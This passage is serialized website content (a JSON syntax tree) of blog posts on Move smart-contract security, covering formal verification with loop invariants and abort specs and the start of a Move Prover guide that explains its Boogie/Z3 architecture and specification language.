invariant",{"type":23,"tag":481,"props":5773,"children":5774},{"style":508},[5775],{"type":28,"value":5776}," supply",{"type":23,"tag":481,"props":5778,"children":5779},{"style":514},[5780],{"type":28,"value":5781}," >=",{"type":23,"tag":481,"props":5783,"children":5784},{"style":525},[5785],{"type":28,"value":5786}," MINIMUM_LIQUIDITY;\n",{"type":23,"tag":481,"props":5788,"children":5789},{"class":483,"line":531},[5790],{"type":23,"tag":481,"props":5791,"children":5792},{"style":525},[5793],{"type":28,"value":1443},{"type":23,"tag":24,"props":5795,"children":5796},{},[5797,5799,5805,5807,5813],{"type":28,"value":5798},"Another useful pattern for the Move prover is ",{"type":23,"tag":64,"props":5800,"children":5802},{"className":5801},[],[5803],{"type":28,"value":5804},"aborts_if",{"type":28,"value":5806},". More specifically, it can be very helpful to assert that a function never aborts, with ",{"type":23,"tag":64,"props":5808,"children":5810},{"className":5809},[],[5811],{"type":28,"value":5812},"aborts_if false",{"type":28,"value":199},{"type":23,"tag":24,"props":5815,"children":5816},{},[5817],{"type":28,"value":5818},"Although loop invariants are a bit clunky, Ian is also able to prove that a relatively nontrivial function doesn't abort.",{"type":23,"tag":435,"props":5820,"children":5822},{"className":475,"code":5821,"language":474,"meta":7,"style":7}," fun multiply_vec_by_n_coins(input: vector\u003Cu64>): vector\u003Cu128> {\n let amounts_times_coins = vector::empty\u003Cu128>();\n let i = 0;\n let n_coins = vector::length(&input);\n while ({\n spec {\n invariant len(amounts_times_coins) == i;\n invariant i \u003C= n_coins;\n invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n };\n (i \u003C n_coins)\n }) {\n vector::push_back(\n &mut amounts_times_coins,\n (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n );\n i = i + 1;\n };\n spec {\n assert i == n_coins;\n assert len(input) == n_coins;\n };\n amounts_times_coins\n }\n spec multiply_vec_by_n_coins {\n pragma opaque;\n aborts_if false;\n ensures len(result) == len(input);\n ensures forall j in 0..len(input): result[j] == input[j] * len(input);\n }\n",[5823],{"type":23,"tag":64,"props":5824,"children":5825},{"__ignoreMap":7},[5826,5890,5932,5955,6000,6013,6025,6064,6087,6175,6183,6208,6216,6237,6257,6357,6365,6394,6402,6414,6438,6473,6480,6488,6495,6510,6526,6544,6589,6695],{"type":23,"tag":481,"props":5827,"children":5828},{"class":483,"line":484},[5829,5833,5838,5842,5847,5851,5856,5860,5864,5869,5873,5877,5881,5886],{"type":23,"tag":481,"props":5830,"children":5831},{"style":508},[5832],{"type":28,"value":4047},{"type":23,"tag":481,"props":5834,"children":5835},{"style":610},[5836],{"type":28,"value":5837}," multiply_vec_by_n_coins",{"type":23,"tag":481,"props":5839,"children":5840},{"style":525},[5841],{"type":28,"value":618},{"type":23,"tag":481,"props":5843,"children":5844},{"style":508},[5845],{"type":28,"value":5846},"input",{"type":23,"tag":481,"props":5848,"children":5849},{"style":514},[5850],{"type":28,"value":287},{"type":23,"tag":481,"props":5852,"children":5853},{"style":508},[5854],{"type":28,"value":5855}," vector",{"type":23,"tag":481,"props":5857,"children":5858},{"style":525},[5859],{"type":28,"value":3282},{"type":23,"tag":481,"props":5861,"children":5862},{"style":943},[5863],{"type":28,"value":5521},{"type":23,"tag":481,"props":5865,"children":5866},{"style":525},[5867],{"type":28,"value":5868},">)",{"type":23,"tag":481,"props":5870,"children":5871},{"style":514},[5872],{"type":28,"value":287},{"type":23,"tag":481,"props":5874,"children":5875},{"style":508},[5876],{"type":28,"value":5855},{"type":23,"tag":481,"props":5878,"children":5879},{"style":525},[5880],{"type":28,"value":3282},{"type":23,"tag":481,"props":5882,"children":5883},{"style":943},[5884],{"type":28,"value":5885},"u128",{"type":23,"tag":481,"props":5887,"children":5888},{"style":525},[5889],{"type":28,"value":4759},{"type":23,"tag":481,"props":5891,"children":5892},{"class":483,"line":351},[5893,5897,5902,5906,5910,5914,5919,5923,5927],{"type":23,"tag":481,"props":5894,"children":5895},{"style":497},[5896],{"type":28,"value":5554},{"type":23,"tag":481,"props":5898,"children":5899},{"style":508},[5900],{"type":28,"value":5901}," amounts_times_coins",{"type":23,"tag":481,"props":5903,"children":5904},{"style":514},[5905],{"type":28,"value":517},{"type":23,"tag":481,"props":5907,"children":5908},{"style":525},[5909],{"type":28,"value":5855},{"type":23,"tag":481,"props":5911,"children":5912},{"style":514},[5913],{"type":28,"value":1006},{"type":23,"tag":481,"props":5915,"children":5916},{"style":508},[5917],{"type":28,"value":5918},"empty",{"type":23,"tag":481,"props":5920,"children":5921},{"style":525},[5922],{"type":28,"value":3282},{"type":23,"tag":481,"props":5924,"children":5925},{"style":943},[5926],{"type":28,"value":5885},{"type":23,"tag":481,"props":5928,"children":5929},{"style":525},[5930],{"type":28,"value":5931},">();\n",{"type":23,"tag":481,"props":5933,"children":5934},{"class":483,"line":531},[5935,5939,5943,5947,5951],{"type":23,"tag":481,"props":5936,"children":5937},{"style":497},[5938],{"type":28,"value":5554},{"type":23,"tag":481,"props":5940,"children":5941},{"style":508},[5942],{"type":28,"value":922},{"type":23,"tag":481,"props":5944,"children":5945},{"style":514},[5946],{"type":28,"value":517},{"type":23,"tag":481,"props":5948,"children":5949},{"style":551},[5950],{"type":28,"value":554},{"type":23,"tag":481,"props":5952,"children":5953},{"style":525},[5954],{"type":28,"value":528},{"type":23,"tag":481,"props":5956,"children":5957},{"class":483,"line":567},[5958,5962,5967,5971,5975,5979,5984,5988,5992,5996],{"type":23,"tag":481,"props":5959,"children":5960},{"style":497},[5961],{"type":28,"value":5554},{"type":23,"tag":481,"props":5963,"children":5964},{"style":508},[5965],{"type":28,"value":5966}," n_coins",{"type":23,"tag":481,"props":5968,"children":5969},{"style":514},[5970],{"type":28,"value":517},{"type":23,"tag":481,"props":5972,"children":5973},{"style":525},[5974],{"type":28,"value":5855},{"type":23,"tag":481,"props":5976,"children":5977},{"style":514},[5978],{"type":28,"value":1006},{"type":23,"tag":481,"props":5980,"children":5981},{"style":610},[5982],{"type":28,"value":5983},"length",{"type":23,"tag":481,"props":5985,"children":5986},{"style":525},[5987],{"type":28,"value":618},{"type":23,"tag":481,"props":5989,"children":5990},{"style":514},[5991],{"type":28,"value":623},{"type":23,"tag":481,"props":5993,"children":5994},{"style":508},[5995],{"type":28,"value":5846},{"type":23,"tag":481,"props":5997,"children":5998},{"style":525},[5999],{"type":28,"value":1366},{"type":23,"tag":481,"props":6001,"children":6002},{"class":483,"line":678},[6003,6008],{"type":23,"tag":481,"props":6004,"children":6005},{"style":535},[6006],{"type":28,"value":6007}," while",{"type":23,"tag":481,"props":6009,"children":6010},{"style":525},[6011],{"type":28,"value":6012}," ({\n",{"type":23,"tag":481,"props":6014,"children":6015},{"class":483,"line":784},[6016,6021],{"type":23,"tag":481,"props":6017,"children":6018},{"style":508},[6019],{"type":28,"value":6020}," spec",{"type":23,"tag":481,"props":6022,"children":6023},{"style":525},[6024],{"type":28,"value":809},{"type":23,"tag":481,"props":6026,"children":6027},{"class":483,"line":812},[6028,6033,6038,6042,6047,6051,6056,6060],{"type":23,"tag":481,"props":6029,"children":6030},{"style":508},[6031],{"type":28,"value":6032}," invariant",{"type":23,"tag":481,"props":6034,"children":6035},{"style":610},[6036],{"type":28,"value":6037}," len",{"type":23,"tag":481,"props":6039,"children":6040},{"style":525},[6041],{"type":28,"value":618},{"type":23,"tag":481,"props":6043,"children":6044},{"style":508},[6045],{"type":28,"value":6046},"amounts_times_coins",{"type":23,"tag":481,"props":6048,"children":6049},{"style":525},[6050],{"type":28,"value":598},{"type":23,"tag":481,"props":6052,"children":6053},{"style":514},[6054],{"type":28,"value":6055},"==",{"type":23,"tag":481,"props":6057,"children":6058},{"style":508},[6059],{"type":28,"value":922},{"type":23,"tag":481,"props":6061,"children":6062},{"style":525},[6063],{"type":28,"value":528},{"type":23,"tag":481,"props":6065,"children":6066},{"class":483,"line":825},[6067,6071,6075,6079,6083],{"type":23,"tag":481,"props":6068,"children":6069},{"style":508},[6070],{"type":28,"value":6032},{"type":23,"tag":481,"props":6072,"children":6073},{"style":508},[6074],{"type":28,"value":922},{"type":23,"tag":481,"props":6076,"children":6077},{"style":514},[6078],{"type":28,"value":5676},{"type":23,"tag":481,"props":6080,"children":6081},{"style":508},[6082],{"type":28,"value":5966},{"type":23,"tag":481,"props":6084,"children":6085},{"style":525},[6086],{"type":28,"value":528},{"type":23,"tag":481,"props":6088,"children":6089},{"class":483,"line":843},[6090,6094,6099,6104,6108,6112,6116,6120,6124,6128,6132,6137,6142,6146,6151,6155,6159,6163,6167,6171],{"type":23,"tag":481,"props":6091,"children":6092},{"style":508},[6093],{"type":28,"value":6032},{"type":23,"tag":481,"props":6095,"children":6096},{"style":508},[6097],{"type":28,"value":6098}," forall",{"type":23,"tag":481,"props":6100,"children":6101},{"style":508},[6102],{"type":28,"value":6103}," j",{"type":23,"tag":481,"props":6105,"children":6106},{"style":497},[6107],{"type":28,"value":548},{"type":23,"tag":481,"props":6109,"children":6110},{"style":551},[6111],{"type":28,"value":554},{"type":23,"tag":481,"props":6113,"children":6114},{"style":514},[6115],{"type":28,"value":559},{"type":23,"tag":481,"props":6117,"children":6118},{"style":508},[6119],{"type":28,"value":1274},{"type":23,"tag":481,"props":6121,"children":6122},{"style":514},[6123],{"type":28,"value":287},{"type":23,"tag":481,"props":6125,"children":6126},{"style":508},[6127],{"type":28,"value":5901},{"type":23,"tag":481,"props":6129,"children":6130},{"style":525},[6131],{"type":28,"value":1269},{"type":23,"tag":481,"props":6133,"children":6134},{"style":508},[6135],{"type":28,"value":6136},"j",{"type":23,"tag":481,"props":6138,"children":6139},{"style":525},[6140],{"type":28,"value":6141},"] ",{"type":23,"tag":481,"props":6143,"children":6144},{"style":514},[6145],{"type":28,"value":6055},{"type":23,"tag":481,"props":6147,"children":6148},{"style":508},[6149],{"type":28,"value":6150}," input",{"type":23,"tag":481,"props":6152,"children":6153},{"style":525},[6154],{"type":28,"value":1269},{"type":23,"tag":481,"props":6156,"children":6157},{"style":508},[6158],{"type":28,"value":6136},{"type":23,"tag":481,"props":6160,"children":6161},{"style":525},[6162],{"type":28,"value":6141},{"type":23,"tag":481,"props":6164,"children":6165},{"style":514},[6166],{"type":28,"value":2120},{"type":23,"tag":481,"props":6168,"children":6169},{"style":508},[6170],{"type":28,"value":5966},{"type":23,"tag":481,"props":6172,"children":6173},{"style":525},[6174],{"type":28,"value":528},{"type":23,"tag":481,"props":6176,"children":6177},{"class":483,"line":864},[6178],{"type":23,"tag":481,"props":6179,"children":6180},{"style":525},[6181],{"type":28,"value":6182}," };\n",{"type":23,"tag":481,"props":6184,"children":6185},{"class":483,"line":873},[6186,6191,6195,6200,6204],{"type":23,"tag":481,"props":6187,"children":6188},{"style":525},[6189],{"type":28,"value":6190}," (",{"type":23,"tag":481,"props":6192,"children":6193},{"style":508},[6194],{"type":28,"value":1274},{"type":23,"tag":481,"props":6196,"children":6197},{"style":514},[6198],{"type":28,"value":6199}," \u003C",{"type":23,"tag":481,"props":6201,"children":6202},{"style":508},[6203],{"type":28,"value":5966},{"type":23,"tag":481,"props":6205,"children":6206},{"style":525},[6207],{"type":28,"value":675},{"type":23,"tag":481,"props":6209,"children":6210},{"class":483,"line":1125},[6211],{"type":23,"tag":481,"props":6212,"children":6213},{"style":525},[6214],{"type":28,"value":6215}," }) {\n",{"type":23,"tag":481,"props":6217,"children":6218},{"class":483,"line":1142},[6219,6224,6228,6233],{"type":23,"tag":481,"props":6220,"children":6221},{"style":525},[6222],{"type":28,"value":6223}," vector",{"type":23,"tag":481,"props":6225,"children":6226},{"style":514},[6227],{"type":28,"value":1006},{"type":23,"tag":481,"props":6229,"children":6230},{"style":610},[6231],{"type":28,"value":6232},"push_back",{"type":23,"tag":481,"props":6234,"children":6235},{"style":525},[6236],{"type":28,"value":988},{"type":23,"tag":481,"props":6238,"children":6239},{"class":483,"line":1159},[6240,6245,6249,6253],{"type":23,"tag":481,"props":6241,"children":6242},{"style":514},[6243],{"type":28,"value":6244}," &",{"type":23,"tag":481,"props":6246,"children":6247},{"style":497},[6248],{"type":28,"value":1259},{"type":23,"tag":481,"props":6250,"children":6251},{"style":508},[6252],{"type":28,"value":5901},{"type":23,"tag":481,"props":6254,"children":6255},{"style":525},[6256],{"type":28,"value":1033},{"type":23,"tag":481,"props":6258,"children":6259},{"class":483,"line":1172},[6260,6265,6269,6274,6278,6283,6287,6291,6295,6300,6304,6309,6313,6318,6323,6328,6332,6336,6340,6345,6349,6353],{"type":23,"tag":481,"props":6261,"children":6262},{"style":525},[6263],{"type":28,"value":6264}," (",{"type":23,"tag":481,"props":6266,"children":6267},{"style":514},[6268],{"type":28,"value":2120},{"type":23,"tag":481,"props":6270,"children":6271},{"style":525},[6272],{"type":28,"value":6273},"vector",{"type":23,"tag":481,"props":6275,"children":6276},{"style":514},[6277],{"type":28,"value":1006},{"type":23,"tag":481,"props":6279,"children":6280},{"style":610},[6281],{"type":28,"value":6282},"borrow",{"type":23,"tag":481,"props":6284,"children":6285},{"style":525},[6286],{"type":28,"value":618},{"type":23,"tag":481,"props":6288,"children":6289},{"style":514},[6290],{"type":28,"value":623},{"type":23,"tag":481,"props":6292,"children":6293},{"style":508},[6294],{"type":28,"value":5846},{"type":23,"tag":481,"props":6296,"children":6297},{"style":525},[6298],{"type":28,"value":6299},", (",{"type":23,"tag":481,"props":6301,"children":6302},{"style":508},[6303],{"type":28,"value":1274},{"type":23,"tag":481,"props":6305,"children":6306},{"style":497},[6307],{"type":28,"value":6308}," as",{"type":23,"tag":481,"props":6310,"children":6311},{"style":943},[6312],{"type":28,"value":3336},{"type":23,"tag":481,"props":6314,"children":6315},{"style":525},[6316],{"type":28,"value":6317},")) ",{"type":23,"tag":481,"props":6319,"children":6320},{"style":497},[6321],{"type":28,"value":6322},"as",{"type":23,"tag":481,"props":6324,"children":6325},{"style":943},[6326],{"type":28,"value":6327}," u128",{"type":23,"tag":481,"props":6329,"children":6330},{"style":525},[6331],{"type":28,"value":598},{"type":23,"tag":481,"props":6333,"children":6334},{"style":514},[6335],{"type":28,"value":2120},{"type":23,"tag":481,"props":6337,"children":6338},{"style":525},[6339],{"type":28,"value":578},{"type":23,"tag":481,"props":6341,"children":6342},{"style":508},[6343],{"type":28,"value":6344},"n_coins",{"type":23,"tag":481,"props":6346,"children":6347},{"style":497},[6348],{"type":28,"value":6308},{"type":23,"tag":481,"props":6350,"children":6351},{"style":943},[6352],{"type":28,"value":6327},{"type":23,"tag":481,"props":6354,"children":6355},{"style":525},[6356],{"type":28,"value":675},{"type":23,"tag":481,"props":6358,"children":6359},{"class":483,"line":1181},[6360],{"type":23,"tag":481,"props":6361,"children":6362},{"style":525},[6363],{"type":28,"value":6364}," );\n",{"type":23,"tag":481,"props":6366,"children":6367},{"class":483,"line":1204},[6368,6373,6377,6381,6386,6390],{"type":23,"tag":481,"props":6369,"children":6370},{"style":508},[6371],{"type":28,"value":6372}," i",{"type":23,"tag":481,"props":6374,"children":6375},{"style":514},[6376],{"type":28,"value":517},{"type":23,"tag":481,"props":6378,"children":6379},{"style":508},[6380],{"type":28,"value":922},{"type":23,"tag":481,"props":6382,"children":6383},{"style":514},[6384],{"type":28,"value":6385}," +",{"type":23,"tag":481,"props":6387,"children":6388},{"style":551},[6389],{"type":28,"value":2072},{"type":23,"tag":481,"props":6391,"children":6392},{"style":525},[6393],{"type":28,"value":528},{"type":23,"tag":481,"props":6395,"children":6396},{"class":483,"line":1213},[6397],{"type":23,"tag":481,"props":6398,"children":6399},{"style":525},[6400],{"type":28,"value":6401}," };\n",{"type":23,"tag":481,"props":6403,"children":6404},{"class":483,"line":1222},[6405,6410],{"type":23,"tag":481,"props":6406,"children":6407},{"style":508},[6408],{"type":28,"value":6409}," spec",{"type":23,"tag":481,"props":6411,"children":6412},{"style":525},[6413],{"type":28,"value":809},{"type":23,"tag":481,"props":6415,"children":6416},{"class":483,"line":1291},[6417,6422,6426,6430,6434],{"type":23,"tag":481,"props":6418,"children":6419},{"style":508},[6420],{"type":28,"value":6421}," assert",{"type":23,"tag":481,"props":6423,"children":6424},{"style":508},[6425],{"type":28,"value":922},{"type":23,"tag":481,"props":6427,"children":6428},{"style":514},[6429],{"type":28,"value":800},{"type":23,"tag":481,"props":6431,"children":6432},{"style":508},[6433],{"type":28,"value":5966},{"type":23,"tag":481,"props":6435,"children":6436},{"style":525},[6437],{"type":28,"value":528},{"type":23,"tag":481,"props":6439,"children":6440},{"class":483,"line":1299},[6441,6445,6449,6453,6457,6461,6465,6469],{"type":23,"tag":481,"props":6442,"children":6443},{"style":508},[6444],{"type":28,"value":6421},{"type":23,"tag":481,"props":6446,"children":6447},{"style":610},[6448],{"type":28,"value":6037},{"type":23,"tag":481,"props":6450,"children":6451},{"style":525},[6452],{"type":28,"value":618},{"type":23,"tag":481,"props":6454,"children":6455},{"style":508},[6456],{"type":28,"value":5846},{"type":23,"tag":481,"props":6458,"children":6459},{"style":525},[6460],{"type":28,"value":598},{"type":23,"tag":481,"props":6462,"children":6463},{"style":514},[6464],{"type":28,"value":6055},{"type":23,"tag":481,"props":6466,"children":6467},{"style":508},[6468],{"type":28,"value":5966},{"type":23,"tag":481,"props":6470,"children":6471},{"style":525},[6472],{"type":28,"value":528},{"type":23,"tag":481,"props":6474,"children":6475},{"class":483,"line":1329},[6476],{"type":23,"tag":481,"props":6477,"children":6478},{"style":525},[6479],{"type":28,"value":6401},{"type":23,"tag":481,"props":6481,"children":6482},{"class":483,"line":1337},[6483],{"type":23,"tag":481,"props":6484,"children":6485},{"style":508},[6486],{"type":28,"value":6487}," amounts_times_coins\n",{"type":23,"tag":481,"props":6489,"children":6490},{"class":483,"line":1369},[6491],{"type":23,"tag":481,"props":6492,"children":6493},{"style":525},[6494],{"type":28,"value":3348},{"type":23,"tag":481,"props":6496,"children":6497},{"class":483,"line":1377},[6498,6502,6506],{"type":23,"tag":481,"props":6499,"children":6500},{"style":508},[6501],{"type":28,"value":5624},{"type":23,"tag":481,"props":6503,"children":6504},{"style":508},[6505],{"type":28,"value":5837},{"type":23,"tag":481,"props":6507,"children":6508},{"style":525},[6509],{"type":28,"value":809},{"type":23,"tag":481,"props":6511,"children":6512},{"class":483,"line":1437},[6513,6517,6522],{"type":23,"tag":481,"props":6514,"children":6515},{"style":508},[6516],{"type":28,"value":5640},{"type":23,"tag":481,"props":6518,"children":6519},{"style":508},[6520],{"type":28,"value":6521}," opaque",{"type":23,"tag":481,"props":6523,"children":6524},{"style":525},[6525],{"type":28,"value":528},{"type":23,"tag":481,"props":6527,"children":6529},{"class":483,"line":6528},27,[6530,6535,6540],{"type":23,"tag":481,"props":6531,"children":6532},{"style":508},[6533],{"type":28,"value":6534}," aborts_if",{"type":23,"tag":481,"props":6536,"children":6537},{"style":497},[6538],{"type":28,"value":6539}," false",{"type":23,"tag":481,"props":6541,"children":6542},{"style":525},[6543],{"type":28,"value":528},{"type":23,"tag":481,"props":6545,"children":6547},{"class":483,"line":6546},28,[6548,6552,6556,6560,6565,6569,6573,6577,6581,6585],{"type":23,"tag":481,"props":6549,"children":6550},{"style":508},[6551],{"type":28,"value":5666},{"type":23,"tag":481,"props":6553,"children":6554},{"style":610},[6555],{"type":28,"value":6037},{"type":23,"tag":481,"props":6557,"children":6558},{"style":525},[6559],{"type":28,"value":618},{"type":23,"tag":481,"props":6561,"children":6562},{"style":508},[6563],{"type":28,"value":6564},"result",{"type":23,"tag":481,"props":6566,"children":6567},{"style":525},[6568],{"type":28,"value":598},{"type":23,"tag":481,"props":6570,"children":6571},{"style":514},[6572],{"type":28,"value":6055},{"type":23,"tag":481,"props":6574,"children":6575},{"style":610},[6576],{"type":28,"value":6037},{"type":23,"tag":481,"props":6578,"children":6579},{"style":525},[6580],{"type":28,"value":618},{"type":23,"tag":481,"props":6582,"children":6583},{"style":508},[6584],{"type":28,"value":5846},{"type":23,"tag":481,"props":6586,"children":6587},{"style":525},[6588],{"type":28,"value":1366},{"type":23,"tag":481,"props":6590,"children":6592},{"class":483,"line":6591},29,[6593,6597,6601,6605,6609,6613,6617,6622,6626,6630,6634,6638,6643,6647,6651,6655,6659,6663,6667,6671,6675,6679,6683,6687,6691],{"type":23,"tag":481,"props":6594,"children":6595},{"style":508},[6596],{"type":28,"value":5666},{"type":23,"tag":481,"props":6598,"children":6599},{"style":508},[6600],{"type":28,"value":6098},{"type":23,"tag":481,"props":6602,"children":6603},{"style":508},[6604],{"type":28,"value":6103},{"type":23,"tag":481,"props":6606,"children":6607},{"style":497},[6608],{"type":28,"value":548},{"type":23,"tag":481,"props":6610,"children":6611},{"style":551},[6612],{"type":28,"value":554},{"type":23,"tag":481,"props":6614,"children":6615},{"style":514},[6616],{"type":28,"value":559},{"type":23,"tag":481,"props":6618,"children":6619},{"style":610},[6620],{"type":28,"value":6621},"len",{"type":23,"tag":481,"props":6623,"children":6624},{"style":525},[6625],{"type":28,"value":618},{"type":23,"tag":481,"props":6627,"children":6628},{"style":508},[6629],{"type":28,"value":5846},{"type":23,"tag":481,"props":6631,"children":6632},{"style":525},[6633],{"type":28,"value":642},{"type":23,"tag":481,"props":6635,"children":6636},{"style":514},[6637],{"type":28,"value":287},{"type":23,"tag":481,"props":6639,"children":6640},{"style":508},[6641],{"type":28,"value":6642}," result",{"type":23,"tag":481,"props":6644,"children":6645},{"style":525},[6646],{"type":28,"value":1269},{"type":23,"tag":481,"props":6648,"children":6649},{"style":508},[6650],{"type":28,"value":6136},{"type":23,"tag":481,"props":6652,"children":6653},{"style":525},[6654],{"type":28,"value":6141},{"type":23,"tag":481,"props":6656,"children":6657},{"style":514},[6658],{"type":28,"value":6055},{"type":23,"tag":481,"props":6660,"children":6661},{"style":508},[6662],{"type":28,"value":6150},{"type":23,"tag":481,"props":6664,"children":6665},{"style":525},[6666],{"type":28,"value":1269},{"type":23,"tag":481,"props":6668,"children":6669},{"style":508},[6670],{"type":28,"value":6136},{"type":23,"tag":481,"props":6672,"children":6673},{"style":525},[6674],{"type":28,"value":6141},{"type":23,"tag":481,"props":6676,"children":6677},{"style":514},[6678],{"type":28,"value":2120},{"type":23,"tag":481,"props":6680,"children":6681},{"style":610},[6682],{"type":28,"value":6037},{"type":23,"tag":481,"props":6684,"children":6685},{"style":525},[6686],{"type":28,"value":618},{"type":23,"tag":481,"props":6688,"children":6689},{"style":508},[6690],{"type":28,"value":5846},{"type":23,"tag":481,"props":6692,"children":6693},{"style":525},[6694],{"type":28,"value":1366},{"type":23,"tag":481,"props":6696,"children":6698},{"class":483,"line":6697},30,[6699],{"type":23,"tag":481,"props":6700,"children":6701},{"style":525},[6702],{"type":28,"value":3348},{"type":23,"tag":31,"props":6704,"children":6705},{"id":2860},[6706],{"type":28,"value":2863},{"type":23,"tag":24,"props":6708,"children":6709},{},[6710],{"type":28,"value":6711},"In this post, we explored implications of Move's type system and formal verification, two powerful features of the Move language that enable safer programming languages.",{"type":23,"tag":24,"props":6713,"children":6714},{},[6715],{"type":28,"value":6716},"While Move as a language is still a language in active development, it shows some exciting features that seem allows developers to create structurally safer programs.",{"type":23,"tag":24,"props":6718,"children":6719},{},[6720,6722,6729],{"type":28,"value":6721},"We're passionate about pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":23,"tag":190,"props":6723,"children":6726},{"href":6724,"rel":6725},"https://twitter.com/notdeghost/",[194],[6727],{"type":28,"value":6728},"@notdeghost",{"type":28,"value":199},{"type":23,"tag":2918,"props":6731,"children":6732},{},[6733],{"type":28,"value":2922},{"title":7,"searchDepth":351,"depth":351,"links":6735},[6736,6737,6738],{"id":3234,"depth":351,"text":3237},{"id":5275,"depth":351,"text":5278},{"id":2860,"depth":351,"text":2863},"content:blog:2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction",{"_path":6743,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":6744,"description":6745,"author":3195,"image":6746,"date":6749,"isFeatured":15,"tags":6750,"onBlogPage":15,"body":6753,"_type":358,"_id":11100,"_source":360,"_file":11101,"_stem":11102,"_extension":363},"/blog/2022-09-16-move-prover","The Move Prover: A Guide","A practical guide to the Move Prover - tutorial, case study, and specifications.",{"src":6747,"height":6748,"width":3199},"/posts/move-prover/move-prover-title.jpg",1019,"2022-09-16",[6751,6752],"move","tutorial",{"type":20,"children":6754,"toc":11086},[6755,6774,6786,6792,6797,6802,6807,6816,6821,6835,6840,6846,6851,6865,6870,7007,7020,7025,7046,7080,7091,7097,7102,7112,7125,7468,7482,7500,7545,7558,7577,7749,7754,7759,7784,7789,8391,8403,8415,8420,8434,8439,8452,8493,8498,8530,8535,8540,8553,8938,8965,9172,9177,9189,9426,9431,9439,9458,9806,9811,9968,9973,9980,9994,10000,10005,10010,10016,10029,10261,10267,10272,10292,10561,10566,10572,10584,10589,10603,10609,10645,10745,10766,10772,10777,10782,11034,11039,11057,11061,11066,11071,11082],{"type":23,"tag":24,"props":6756,"children":6757},{},[6758,6760,6765,6767,6772],{"type":28,"value":6759},"Formal verification -- a powerful tool for ",{"type":23,"tag":127,"props":6761,"children":6762},{},[6763],{"type":28,"value":6764},"proving",{"type":28,"value":6766}," the correctness of your programs. How does it ",{"type":23,"tag":127,"props":6768,"children":6769},{},[6770],{"type":28,"value":6771},"actually",{"type":28,"value":6773}," work? This blog post will provide practical tips to help you use the Move Prover to its fullest potential, as well as explore a real-world example of how we used formal verification to secure a smart contract.",{"type":23,"tag":24,"props":6775,"children":6776},{},[6777,6779,6784],{"type":28,"value":6778},"At a high level, formal verification allows you to provide a specification for the program. This specification is then checked against symbolic inputs, allowing you to prove that your code follows the specification for ",{"type":23,"tag":127,"props":6780,"children":6781},{},[6782],{"type":28,"value":6783},"all",{"type":28,"value":6785}," possible inputs.",{"type":23,"tag":31,"props":6787,"children":6789},{"id":6788},"move-prover",[6790],{"type":28,"value":6791},"Move Prover",{"type":23,"tag":24,"props":6793,"children":6794},{},[6795],{"type":28,"value":6796},"The Move Prover is an automated tool that allows developers to formally verify smart contracts written in the Move programming language.",{"type":23,"tag":24,"props":6798,"children":6799},{},[6800],{"type":28,"value":6801},"Move was primarily designed to facilitate automatic verification. Interestingly, the Move Prove operates on the Move bytecode itself, avoiding potential compiler bugs from interfering with prover correctness.",{"type":23,"tag":24,"props":6803,"children":6804},{},[6805],{"type":28,"value":6806},"The architecture of the tool consists of multiple components as illustrated below.",{"type":23,"tag":24,"props":6808,"children":6809},{},[6810],{"type":23,"tag":149,"props":6811,"children":6815},{"alt":6812,"src":6813,"title":6814},"Move Prover arch","https://i.imgur.com/ti4vkTu.png","Move Prover Architecture",[],{"type":23,"tag":24,"props":6817,"children":6818},{},[6819],{"type":28,"value":6820},"First, the Move prover receives a Move source file (an input) that contains specifications of the intended behavior of the program. Those specifications are then extracted from the annotated source by the Move Parser. Consequently, the tool compiles the source code into Move bytecode which is verified and converted into a prover object model plus the specification system \"blueprint\".",{"type":23,"tag":24,"props":6822,"children":6823},{},[6824,6826,6833],{"type":28,"value":6825},"The model is translated into an intermediate language, called ",{"type":23,"tag":190,"props":6827,"children":6830},{"href":6828,"rel":6829},"https://www.microsoft.com/en-us/research/project/boogie-an-intermediate-verification-language/",[194],[6831],{"type":28,"value":6832},"Boogie",{"type":28,"value":6834},". This Boogie code is then passed to the Boogie verification system which generates the input for the solver using a \"verification condition generation\". The verification condition (VC) is passed to an automated theorem prover (Z3).",{"type":23,"tag":24,"props":6836,"children":6837},{},[6838],{"type":28,"value":6839},"Once the VC is passed to the Z3, the prover checks if the SMT formula is unsatisfiable. If so, it means that the specifications hold. Otherwise, a model that satisfies the conditions is generated and converted back into Boogie format in order to issue a diagnosis report. The diagnosis report is then reverted to a source-level error which parallels a standard compiler error.",{"type":23,"tag":31,"props":6841,"children":6843},{"id":6842},"move-specification-language",[6844],{"type":28,"value":6845},"Move Specification Language",{"type":23,"tag":24,"props":6847,"children":6848},{},[6849],{"type":28,"value":6850},"Move MSL is a subset of the Move Language, which introduces support to statically describe the behavior about the correctness of a program with no implications on production.",{"type":23,"tag":24,"props":6852,"children":6853},{},[6854,6856,6863],{"type":28,"value":6855},"To better understand how to use the MSL, we will use ",{"type":23,"tag":190,"props":6857,"children":6860},{"href":6858,"rel":6859},"https://github.com/pontem-network/u256",[194],[6861],{"type":28,"value":6862},"Pontem's U256 library",{"type":28,"value":6864},", an open source Move library which implements support for U256 numbers, as a case study.",{"type":23,"tag":24,"props":6866,"children":6867},{},[6868],{"type":28,"value":6869},"The U256 number is implemented as a struct which contains 4 u64 numbers.",{"type":23,"tag":435,"props":6871,"children":6873},{"code":6872,"language":474,"meta":7,"className":475,"style":7},"struct U256 has copy, drop, store {\n v0: u64,\n v1: u64,\n v2: u64,\n v3: u64,\n}\n",[6874],{"type":23,"tag":64,"props":6875,"children":6876},{"__ignoreMap":7},[6877,6920,6940,6960,6980,7000],{"type":23,"tag":481,"props":6878,"children":6879},{"class":483,"line":484},[6880,6885,6889,6894,6899,6903,6908,6912,6916],{"type":23,"tag":481,"props":6881,"children":6882},{"style":497},[6883],{"type":28,"value":6884},"struct",{"type":23,"tag":481,"props":6886,"children":6887},{"style":943},[6888],{"type":28,"value":2280},{"type":23,"tag":481,"props":6890,"children":6891},{"style":508},[6892],{"type":28,"value":6893}," has",{"type":23,"tag":481,"props":6895,"children":6896},{"style":508},[6897],{"type":28,"value":6898}," 